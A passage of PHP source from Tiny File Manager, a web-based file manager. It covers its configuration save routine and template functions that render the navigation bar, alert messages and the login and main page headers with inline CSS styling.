        $fm_file = __FILE__;
        $var_name = \'$CONFIG\';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}

//--- Templates Functions ---

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? \'fixed-top\' : \'\';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng(\'AppTitle\') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href=\'?p=\'><i class=\'fa fa-home\' aria-hidden=\'true\' title=\'" . FM_ROOT_PATH . "\'></i></a>";
            $sep = \'<i class="bread-crumb"> / </i>\';
            if ($path != \'\') {
                $exploded = explode(\'/\', $path);
                $count = count($exploded);
                $array = array();
                $parent = \'\';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . \'/\' . $exploded[$i], \'/\');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href=\'?p={$parent_enc}\'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo \'<div class="col-xs-6 col-sm-5">\' . $root_url . $editFile . \'</div>\';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng(\'Search\') ?>" aria-label="<?php echo lng(\'Search\') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : \'.\'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng(\'Advanced Search\') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng(\'Upload\') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng(\'Upload\') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng(\'NewItem\') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng(\'NewItem\') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID][\'logged\'])) { echo $_SESSION[FM_SESSION_ID][\'logged\']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng(\'Settings\') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng(\'Settings\') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng(\'Help\') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng(\'Help\') ?></a>
                            <a title="<?php echo lng(\'Logout\') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng(\'Logout\') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng(\'Settings\') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng(\'Settings\') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}

/**
 * Show alert message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID][\'message\'])) {
        $class = isset($_SESSION[FM_SESSION_ID][\'status\']) ? $_SESSION[FM_SESSION_ID][\'status\'] : \'ok\';
        echo \'<p class="message \' . $class . \'">\' . $_SESSION[FM_SESSION_ID][\'message\'] . \'</p>\';
        unset($_SESSION[FM_SESSION_ID][\'message\']);
        unset($_SESSION[FM_SESSION_ID][\'status\']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
$sprites_ver = \'20160315\';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo \'<link rel="icon" href="\'.fm_enc($favicon_path).\'" type="image/png">\'; } ?>
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <?php print_external(\'pre-jsdelivr\'); ?>
    <?php print_external(\'css-bootstrap\'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 304 304\' width=\'304\' height=\'304\'%3E%3Cpath fill=\'%23e2e9f1\' fill-opacity=\'0.4\' d=\'M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z\'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? \'theme-dark\' : \'\'; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external(\'js-jquery\'); ?>
<?php print_external(\'js-bootstrap\'); ?>
</body>
</html>
<?php
}

/**
 * Show Header after login
 */
function fm_show_header()
{
$sprites_ver = \'20160315\';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? \'navbar-fixed\' : \'navbar-normal\';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo \'<link rel="icon" href="\'.fm_enc($favicon_path).\'" type="image/png">\'; } ?>
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <?php print_external(\'pre-jsdelivr\'); ?>
    <?php print_external(\'pre-cloudflare\'); ?>
    <?php print_external(\'css-bootstrap\'); ?>
    <?php print_external(\'css-font-awesome\'); ?>
    <?php if (FM_USE_HIGHLIGHTJS && isset($_GET[\'view\'])): ?>
    <?php print_external(\'css-highlightjs\'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = \'<?php echo $_SESSION[\'token\']; ?>\';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"016";margin-right:5px }
        li.folder:before { content:"114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC\'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==\'); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=\'); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
